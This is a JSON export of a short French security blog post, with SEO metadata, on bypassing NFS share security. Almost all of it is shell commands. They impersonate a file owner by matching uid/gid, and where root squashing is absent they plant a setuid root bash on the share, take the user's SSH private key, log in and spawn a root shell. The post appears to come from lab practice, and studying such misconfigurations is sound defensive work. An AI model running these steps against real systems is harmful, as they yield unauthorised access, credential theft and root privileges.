{"id":158,"date":"2021-05-24T07:53:04","date_gmt":"2021-05-24T12:53:04","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=158"},"modified":"2021-07-02T17:39:28","modified_gmt":"2021-07-02T22:39:28","slug":"contournement-de-la-securite-nfs","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/05\/24\/contournement-de-la-securite-nfs\/","title":{"rendered":"Contournement de la s\u00e9curit\u00e9 NFS"},"content":{"rendered":"<p><pre><code>showmount -e 192.168.2.64\nmkdir \/mnt\/nfs\nmount -t nfs -o vers=3 192.168.2.64:\/nfspath \/mnt\/nfs\nls -ld \/mnt\/nfs (indique que les propri\u00e9taires sont uid=2008 et gid=2008 et la permission d&#039;y acc\u00e9der est interdite. nfs v4 montre le uid et gid de nobody)\ngroupadd --gid 2008 vulnix_group\nuseradd --uid 2008 --groups vulnix_group vulnix_user\nsudo -u vulnix_user ls -l \/mnt\/nfs<\/code><\/pre><\/p>\n<p>Voir aussi <a href=\"https:\/\/github.com\/bonsaiviking\/NfSpy\">NfSpy<\/a><\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Autre exploit si root squashfs n&#8217;est pas configur\u00e9<br \/>\n<pre><code>\nmkdir \/tmp\/nfs\nmount -t nfs 10.10.2.3:\/home \/tmp\/nfs -nolock\ncp \/home\/r0cker\/bash \/tmp\/nfs\/georges #s&#039;assurer de la compatibilite du bash. utiliser un binaire compatible avec le syst\u00e8me \u00e0 exploiter\nsudo chown root \/tmp\/nfs\/georges\/bash\nsudo chmod +s \/tmp\/nfs\/georges\/bash\nsudo chmod go+x \/tmp\/nfs\/georges\/bash\ncp \/tmp\/nfs\/georges\/.ssh\/id_rsa ~\nssh -i ~\/id_rsa georges@10.10.2.3\n.\/bash -p\n<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"<p>showmount -e 192.168.2.64 mkdir \/mnt\/nfs mount -t nfs -o vers=3 192.168.2.64:\/nfspath \/mnt\/nfs ls -ld \/mnt\/nfs (indique que les propri\u00e9taires sont uid=2008 et gid=2008 et la permission d&#039;y acc\u00e9der est interdite. nfs v4 montre le uid et gid de nobody) groupadd &#8211;gid 2008 vulnix_group useradd &#8211;uid 2008 &#8211;groups vulnix_group vulnix_user sudo -u vulnix_user ls -l \/mnt\/nfs Voir aussi NfSpy &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; Autre exploit si root squashfs n&#8217;est pas configur\u00e9 mkdir \/tmp\/nfs mount -t nfs 10.10.2.3:\/home \/tmp\/nfs -nolock cp \/home\/r0cker\/bash \/tmp\/nfs\/georges #s&#039;assurer de la compatibilite du bash. utiliser un binaire compatible avec le syst\u00e8me \u00e0 exploiter sudo chown root \/tmp\/nfs\/georges\/bash sudo chmod +s <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Contournement de la s\u00e9curit\u00e9 NFS - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/24\/contournement-de-la-securite-nfs\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Contournement de la s\u00e9curit\u00e9 NFS - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"showmount -e 192.168.2.64 mkdir \/mnt\/nfs mount -t nfs -o vers=3 192.168.2.64:\/nfspath \/mnt\/nfs ls -ld \/mnt\/nfs (indique que les propri\u00e9taires sont uid=2008 et gid=2008 et la permission d&#039;y acc\u00e9der est interdite. nfs v4 montre le uid et gid de nobody) groupadd --gid 2008 vulnix_group useradd --uid 2008 --groups vulnix_group vulnix_user sudo -u vulnix_user ls -l \/mnt\/nfs Voir aussi NfSpy &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; Autre exploit si root squashfs n&#8217;est pas configur\u00e9 mkdir \/tmp\/nfs mount -t nfs 10.10.2.3:\/home \/tmp\/nfs -nolock cp \/home\/r0cker\/bash \/tmp\/nfs\/georges #s&#039;assurer de la compatibilite du bash. utiliser un binaire compatible avec le syst\u00e8me \u00e0 exploiter sudo chown root \/tmp\/nfs\/georges\/bash sudo chmod +s\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/24\/contournement-de-la-securite-nfs\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-05-24T12:53:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-07-02T22:39:28+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/24\/contournement-de-la-securite-nfs\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/24\/contournement-de-la-securite-nfs\/\",\"name\":\"Contournement de la s\u00e9curit\u00e9 NFS - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\"},\"datePublished\":\"2021-05-24T12:53:04+00:00\",\"dateModified\":\"2021-07-02T22:39:28+00:00\",\"author\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/24\/contournement-de-la-securite-nfs\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.searchevolution.com\/security\/2021\/05\/24\/contournement-de-la-securite-nfs\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/24\/contournement-de-la-securite-nfs\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.searchevolution.com\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Contournement de la s\u00e9curit\u00e9 NFS\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\",\"url\":\"https:\/\/www.searchevolution.com\/security\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\/\/www.searchevolution.com\/security\"],\"url\":\"https:\/\/www.searchevolution.com\/security\/author\/germain\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Contournement de la s\u00e9curit\u00e9 NFS - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/05\/24\/contournement-de-la-securite-nfs\/","og_locale":"fr_CA","og_type":"article","og_title":"Contournement de la s\u00e9curit\u00e9 NFS - S\u00e9curiser votre site","og_description":"showmount -e 192.168.2.64 mkdir \/mnt\/nfs mount -t nfs -o vers=3 192.168.2.64:\/nfspath \/mnt\/nfs ls -ld \/mnt\/nfs (indique que les propri\u00e9taires sont uid=2008 et gid=2008 et la permission d&#039;y acc\u00e9der est interdite. nfs v4 montre le uid et gid de nobody) groupadd --gid 2008 vulnix_group useradd --uid 2008 --groups vulnix_group vulnix_user sudo -u vulnix_user ls -l \/mnt\/nfs Voir aussi NfSpy &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; 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